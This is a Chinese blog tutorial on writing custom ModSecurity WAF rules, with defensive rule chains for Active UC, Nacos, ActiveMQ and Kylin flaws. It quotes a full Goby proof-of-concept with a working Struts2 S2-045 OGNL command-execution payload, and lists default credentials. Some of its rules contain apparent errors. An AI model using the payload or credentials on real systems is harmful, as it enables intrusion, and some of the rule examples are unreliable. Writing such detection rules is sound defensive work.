ModSecurity 自建規則之路
0x01 簡介
ModSecurity是一個開源的、跨平臺的Web應用防火牆,它可以透過檢查Web服務接收到的資料,以及傳送出去的資料來對網站進行安全防護。
ModSecurity有以下作用:
SQL Injection (SQLi):阻止SQL隱碼攻擊
Cross Site Scripting (XSS):阻止跨站指令碼攻擊
Local File Inclusion (LFI):阻止利用本地檔案包含漏洞進行攻擊
Remote File Inclusione(RFI):阻止利用遠端檔案包含漏洞進行攻擊
Remote Code Execution (RCE):阻止利用遠端命令執行漏洞進行攻擊
PHP Code Injectiod:阻止PHP程式碼注入
HTTP Protocol Violations:阻止違反HTTP協議的惡意訪問
HTTPoxy:阻止利用遠端代理感染漏洞進行攻擊
Sshllshock:阻止利用Shellshock漏洞進行攻擊
Session Fixation:阻止利用Session會話ID不變的漏洞進行攻擊
Scanner Detection:阻止駭客掃描網站
Metadata/Error Leakages:阻止原始碼/錯誤資訊洩露
Project Honey Pot Blacklist:蜜罐專案黑名單
GeoIP Country Blocking:根據判斷IP地址歸屬地來進行IP阻斷
0x02 規則介紹
根據配置手冊,我們瞭解到分為這幾部分,包含配置指令,處置階段、變數、轉換函式、動作以及運算子。看過規則追後,個人感覺轉換函式這個規則部分在自建規則這裡使用不到,簡單總結一下部分會用到的規則以及動作。
配置指令
SecRules
建立一個使用所選運算子分析指定變數的規則。
SecRule VARIABLES OPERATOR [ACTIONS]
eg:
SecRule ARGS "@rx attack" "phase:1,log,deny,id:1"
處理階段
ModSecurity 2.x允許將規則置於Apache請求週期的以下五個階段之一:
請求頭(REQUEST_HEADERS)
請求體(REQUEST_BODY)
響應頭(RESPONSE_HEADERS)
響應體(RESPONSE_BODY)
日誌記錄(LOGGING)
五個階段圖示如下:
變數
- ARGS
ARGS是一個集合,可以透過靜態引數(匹配帶有該名稱的引數),或是透過正規表示式(匹配所有帶有與正規表示式匹配的名稱的引數)進行單獨使用(包含所有引數,包括POST Payload),eg:(下面的“id”都為規則的id序號)
SecRule ARGS dirty "id:7" #檢查dirty所有請求引數的值
SecRule ARGS:p dirty "id:8" #檢視名為p的引數的值(請注意,通常,請求可以包含多個具有相同名稱的引數) ":"表示運算子
SecRule ARGS|!ARGS:z dirty "id:9" #檢查單詞dirty的所有請求引數的值,除了名為z的那些(同樣,可以有零個或多個名為z的引數):
- Files
包含原始檔名的集合(因為它們是在遠端使用者的檔案系統上呼叫的),eg:
SecRule FILES "@rx .conf$" "id:xxx"
- FILES_NAMES
包含用於檔案上載的表單欄位列表,eg:
SecRule FILES_NAMES "^upfile$" "id:xxx"
- PATH_INFO
包含額外的請求URI資訊,也稱為路徑資訊。eg:
SecRule PATH_INFO "^/(bin|etc|sbin|opt|usr)" "id:xxx"
- REMOTE_ADDR
此變數包含遠端客戶端的IP地址。eg:
SecRule REMOTE_ADDR "@ipMatch 192.168.1.101" "id:xxx"
- REMOTE_PORT
此變數包含有關客戶端在啟動與Web伺服器的連線時使用的源埠的資訊。。eg:
SecRule REMOTE_PORT "@lt 1024" "id:xxx"
- REMOTE_USER
此變數包含經過身份驗證的使用者的使用者名稱。eg:
SecRule REMOTE_USER "@streq admin" "id:xxx"
- REQBODY_PROCESSOR
包含當前使用的請求體處理器的名稱。可能的值是URLENCODED,MULTIPART和XML。eg:
SecRule REQBODY_PROCESSOR "^XML$ chain,id:xxx
SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"
- REQUEST_BASENAME
該變數僅包含REQUEST_FILENAME的檔名部分(例如,index.php)。eg:
SecRule REQUEST_BASENAME "^login.php$" phase:2,id:xxx,t:none,t:lowercase
- REQUEST_BODY
包含原始請求體。僅當使用URLENCODED請求體處理器時該變數才有效,即,當檢測到application / x-www-form-urlencoded內容型別時,或者強制使用URLENCODED請求體解析器時,此變數才有效。
SecRule REQUEST_BODY "^username=\w{25,}&password=\w{25,}&Submit=login$" "id:xxx"
- REQUEST_COOKIES
此變數是所有請求cookie的集合(僅包含值)。eg:
SecRule &REQUEST_COOKIES "@eq 0" "id:xxx" #請求中沒有任何Cookie頭
動作
- chain
使用緊隨其後的規則與當前規則進行連結,形成規則鏈。鏈式規則允許更復雜的處理邏輯
#拒絕接受不包含Content-Length標頭或Content-Length的值為0的POST請求。
#(請注意,此規則應在規則之前驗證僅使用有效的請求方法。)
SecRule REQUEST_METHOD "^POST$" phase:1,chain,t:none,id:xxx
SecRule REQUEST_HEADERS:Content-Length "@eq 0" t:none
注意:規則鏈的作用與AND一致。僅當多條規則中的變數檢查同時匹配成功時,才會觸發鏈式規則的第一條規則中指定的阻斷性操作。鏈式規則中無論哪一條規則沒有匹配成功,則表示整個規則鏈匹配失敗,即不會執行阻斷性動作。
手冊上面的第二條語句為
SecRule &REQUEST_HEADERS:Content-Length "@eq 0" t:none
但是在實際應用中新增“&”符號會報錯,所以在寫規則鏈的時候需要注意。
- drop
透過傳送FIN資料包立即關閉TCP連線。
- deny
停止規則處理並攔截此次訪問。
- block
執行SecDefaultAction定義的阻斷性動作。
SecDefaultAction phase:2,deny,id:xxx,status:403,log,auditlog #配置阻斷後所執行的的預設動作
SecRule ARGS attack1 phase:2,block,id:xxx #檢測我們想要阻止的攻擊
SecRule ARGS attack2 phase:2,pass,id:xxx #檢測我們只想警告的攻擊
- msg
將自定義資訊分配給規則或規則鏈。 該訊息將與每次警報一起記錄到日誌中。
SecRule &REQUEST_HEADERS:Host "@eq 0" "log,id:xxxx,severity:2,msg:'無請求主機'"
運算子
- beginsWith
如果在輸入的開頭找到引數字串,則返回true。eg:
SecRule REQUEST_LINE "@beginsWith GET" "id:xxx" #檢測以“GET”開頭的請求行
- contains
如果在輸入中的任何位置找到引數字串,則返回true。eg:
SecRule REQUEST_LINE "@contains .php" "id:xxxx" #在請求行中的任何位置檢測是否包含“.php”字串
- containsWord
如果在輸入中的任何位置找到引數字串(帶有字邊界),則返回true。
SecRule ARGS "@containsWord select" "id:xxx" #在ARGS的任何地方檢測是否包含“select”字串
- rx
透過提供的正規表示式,對指定的變數進行匹配檢測。rx是預設運算子,所有未明確指定運算子的規則都將預設使用@rx作為運算子。
SecRule REQUEST_HEADERS:User-Agent "@rx " "id:xxx" #檢測xss攻擊
- streq
執行字串比較,如果給定的引數字串與輸入字串相同,則返回true。
SecRule ARGS:foo "!@streq bar" "id:xxx" #在請求引數“foo”中檢測不包含“bar”
0x03 自建規則
網動統一通訊平臺(Active UC)RCE漏洞
goby的poc參考連結:
https://github.com/TheTh1nk3r/Goby_POC/blob/main/Active_UC_index.action_RCE.json
ModSecurity規則如下:參考github上的POC
{ "Name": "Active UC index.action 遠端命令執行漏洞", "Level": "3", "Tags": [ "RCE" ], "GobyQuery": "title=\"網動統一通訊平臺(Active UC)\"", "Description": "網動統一通訊平臺 Active UC index.action 存在S2-045遠端命令執行漏洞, 透過漏洞可以執行任意命令", "Product": "網動統一通訊平臺(Active UC)", "Homepage": "https://gobies.org/", "Author": "luckying", "Impact": "", "Recommandation": "", "References": [ "https://gobies.org/" ], "HasExp": true, "ExpParams": [ { "name": "Cmd", "type": "input", "value": "whoami", "show": "" } ], "ScanSteps": [ "AND", { "Request": { "method": "POST", "uri": "/acenter/index.action", "follow_redirect": false, "header": { "Accept-Encoding": "gzip, deflate", "Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2", "Connection": "close", "Cookie": "SessionId=96F3F15432E0660E0654B1CE240C4C36", "Charsert": "UTF-8", "Content-Type": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------18012721719170", "Cache-Control": "no-cache", "Pragma": "no-cache" }, "data_type": "text", "data": "-----------------------------18012721719170\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\nContent-Type: text/plain\n-----------------------------18012721719170" }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$body", "operation": "contains", "value": "Windows IP", "bz": "" } ] }, "SetVariable": [] } ], "ExploitSteps": [ "AND", { "Request": { "method": "POST", "uri": "/acenter/index.action", "follow_redirect": false, "header": { "Accept-Encoding": "gzip, deflate", "Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2", "Connection": "close", "Cookie": "SessionId=96F3F15432E0660E0654B1CE240C4C36", "Charsert": "UTF-8", "Content-Type": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{{Cmd}}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------18012721719170", "Cache-Control": "no-cache", "Pragma": "no-cache" }, "data_type": "text", "data": "-----------------------------18012721719170\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\nContent-Type: text/plain\n-----------------------------18012721719170" }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$body", "operation": "contains", "value": "Windows IP", "bz": "" } ] }, "SetVariable": [ "output|lastbody" ] } ], }
這裡設定的是掃描階段的檢測POC的防禦規則,對於防禦來說,規則的設定可以精確到字串或者精確到欄位都可以,策略如果設定的過於精確,造成的結果就是可能誤報率過高,對正常的業務造成影響,策略設定的比較寬鬆,就會無法檢測攻擊行為,起不到防護效果。
那麼這個規則的設定分為三部分,並未對返回包進行檢測規則的設定
- 規則設定請求方式為POST,在使用規則之前驗證有效請求POST
- 規則設定訪問路徑為“/acenter/index.action”
- 規則設定匹配構造的請求包的請求體內的欄位“Content-Type”的內容(這條規則的設定可能只能起到檢測該poc的目的,所以針對該漏洞的規則的設定需要更多的規則)
- 注意:規則鏈的作用與AND一致。僅當多條規則中的變數檢查同時匹配成功時,才會觸發鏈式規則的第一條規則中指定的阻斷性操作。鏈式規則中無論哪一條規則沒有匹配成功,則表示整個規則鏈匹配失敗,即不會執行阻斷性動作。
SecRule REQUEST_METHOD "^POST$" "chain,msg: 'Active UC Attack',severity:ERROR,deny,status:404,id:xxx"
SecRule REQUEST_URI "/acenter/index.action" "chain"
SecRule REQUEST_BODY:Content-Type "@rx (?i)cmd|(?!)system"
Nacos 未授權訪問漏洞
掃描防禦規則鏈如下:
規則設定請求方式為GET,在使用規則之前驗證有效請求GET
規則設定訪問路徑為“/nacos/v1/auth/users?"
規則設定請求體內的"data"資料為null即等於0
規則設定伺服器傳送的完整狀態500
SecRule REQUEST_METHOD "^GET$" "chain,msg: 'Nacos unauthorized Attack',severity:ERROR,deny,status:404,id:xxx"
SecRule REQUEST_URI "/nacos/v1/auth/users?" "chain"
SecRule REQUEST_BODY:data "@eq 0" "chain"
SecRule STATUS_LINE "@contains 500"
EXp防禦規則鏈如下:
規則設定請求方式為POST,在使用規則之前驗證有效請求POST
規則設定訪問路徑為“/nacos/v1/auth/users?"
規則設定請求體內的"data"資料不為null
SecRule REQUEST_METHOD "^POST$" "chain,msg: 'Nacos unauthorized Attack',severity:ERROR,deny,status:404,id:xxx"
SecRule REQUEST_URI "/nacos/v1/auth/users?" "chain"
SecRule REQUEST_BODY:data "!@eq 0"
Nacos 控制檯預設弱口令
掃描防禦規則鏈如下:
- 規則設定請求方式為POST,在使用規則之前驗證有效請求POST
- 規則設定訪問路徑為“/nacos/v1/auth/users/login"
- 規則設定訪問的資料傳輸的內容“username=nacos&password=nacos”
SecRule REQUEST_METHOD "^POST$" "chain,msg: 'Nacos Default Password Attack',severity:ERROR,deny,status:404,id:xxx"
SecRule REQUEST_URI "/nacos/v1/auth/users/login" "chain"
SecRule REQUEST_BODY:data "username=nacos&password=nacos"
EXp防禦規則鏈如下:
SecRule REQUEST_METHOD "^POST$" "chain,msg: 'Nacos Default Password Attack',severity:ERROR,deny,status:404,id:xxx"
SecRule REQUEST_URI "/nacos/v1/auth/users/login" "chain"
SecRule REQUEST_BODY:data "username=nacos&password=nacos"
預設口令的賬號密碼都為nacos,所以這裡不管是掃描還是利用都是一樣的規則。
Apache ActiveMQ Console控制檯預設口令
防禦規則鏈如下:
規則設定請求方式為GET,在使用規則之前驗證有效請求GET
規則設定訪問路徑為“/admin"
在apache該中介軟體中賬號以及密碼的傳輸的格式為base64(admin:admin),傳輸的時候為“Basic YWRtaW46YWRtaW4=”
SecRule REQUEST_METHOD "^GET$" "chain,msg: 'Apache ActiveMQ Default Password Attack',severity:ERROR,deny,status:404,id:xxx"
SecRule REQUEST_URI "/admin" "chain"
SecRule REQUEST_Header "@rx ^YWRtaW46YWRtaW4=$"
預設口令的賬號密碼為admin:admin,所以這裡不管是掃描還是利用都是一樣的規則。
CVE-2020-13937 Kylin 未授權配置洩露
防禦規則鏈如下:
- 規則設定請求方式為GET,在使用規則之前驗證有效請求GET
- 規則設定訪問路徑為"/kylin/api/admin/config"
SecRule REQUEST_METHOD "^GET$" "chain,msg: 'Kylin unauthorized config Link Attack(CVE-2020-13937)',severity:ERROR,deny,status:404,id:xxx"
SecRule REQUEST_URI "/kylin/api/admin/config"
0x04 小結
這邊選擇使用網上使用的一些漏洞poc來編寫自建規則。當然Vulhub漏洞庫的一些poc或者是goby釋出的一些自寫POC都可以作為修改,驗證自己本地搭建平臺使用規則作為驗證條件即可。當然,可能有的師傅考慮到這個自建規則有什麼用,只不過可以搭建一個自用的漏洞檢測平臺,使用自建的規則庫,好不好用完全取決於自建的漏洞庫的poc有多龐大,因為這個規則跟現在使用的眾多大廠的態勢感知使用的規則以及匹配模式有點相似,所以正好拿出來自己嘗試一下另外和師傅們做一個分享!!!
相關文章
- modsecurity:規則例子:匹配url2024-10-23
- 配置ModSecurity防火牆與OWASP規則2020-08-19防火牆
- modsecurity黑白名單以及規則檢測模式配置2020-04-29模式
- docker上面部署nginx-waf 防火牆“modsecurity”,使用CRS規則,搭建WEB應用防火牆2023-04-21DockerNginx防火牆Web
- modSecurity 安裝2012-07-18
- 【java規則引擎】之規則引擎解釋2017-01-08Java
- 正則匹配規則22024-04-19
- IT職場規則2021-04-27
- url規則2024-04-28
- canvas非零繞組規則與奇偶規則2018-08-09Canvas
- 從規則到神經網路:機器翻譯技術的演化之路2023-12-26神經網路
- 管理規則和基於規則的轉換——流2010-08-18
- Nginx 防火牆 ModSecurity 安裝教程2021-11-09Nginx防火牆
- modSecurity安裝 - libLua.so2012-07-19
- 任務規則2020-04-04
- git提交規則2019-04-04Git
- ESlint規則2018-12-02EsLint
- css規則整理2011-12-13CSS
- CSS命名規則2009-07-06CSS
- 1、基本規則2024-04-16
- firewalld:direct規則2024-08-25
- 【java規則引擎】規則引擎RuleBase中利用觀察者模式2017-02-09Java模式
- 【java規則引擎】java規則引擎搭建開發環境2017-02-22Java開發環境
- 【java規則引擎】簡單規則的rete網路示意圖2017-02-07Java
- ModSecurity3.3下載安裝教程2020-04-29
- Mac下安裝apache waf模組modsecurity2017-06-25MacApache
- nginx location匹配規則2020-04-05Nginx
- Laravel 自定義規則2019-10-29Laravel
- htmlhint 規則詳解2019-02-16HTML
- CSS規則物件概述2018-08-18CSS物件
- SCSS 巢狀規則2018-09-10CSS巢狀
- Nginx 跳轉規則2018-10-12Nginx
- iptables防火牆規則2020-12-02防火牆
- SQLServer CDC清理規則2022-08-31SQLServer
- 規則引擎模式 - upperdine2022-02-25模式
- oracle undo分配規則2020-09-28Oracle
- JavaScript this 繫結規則2018-04-01JavaScript
- SQL Server排序規則2017-01-10SQLServer排序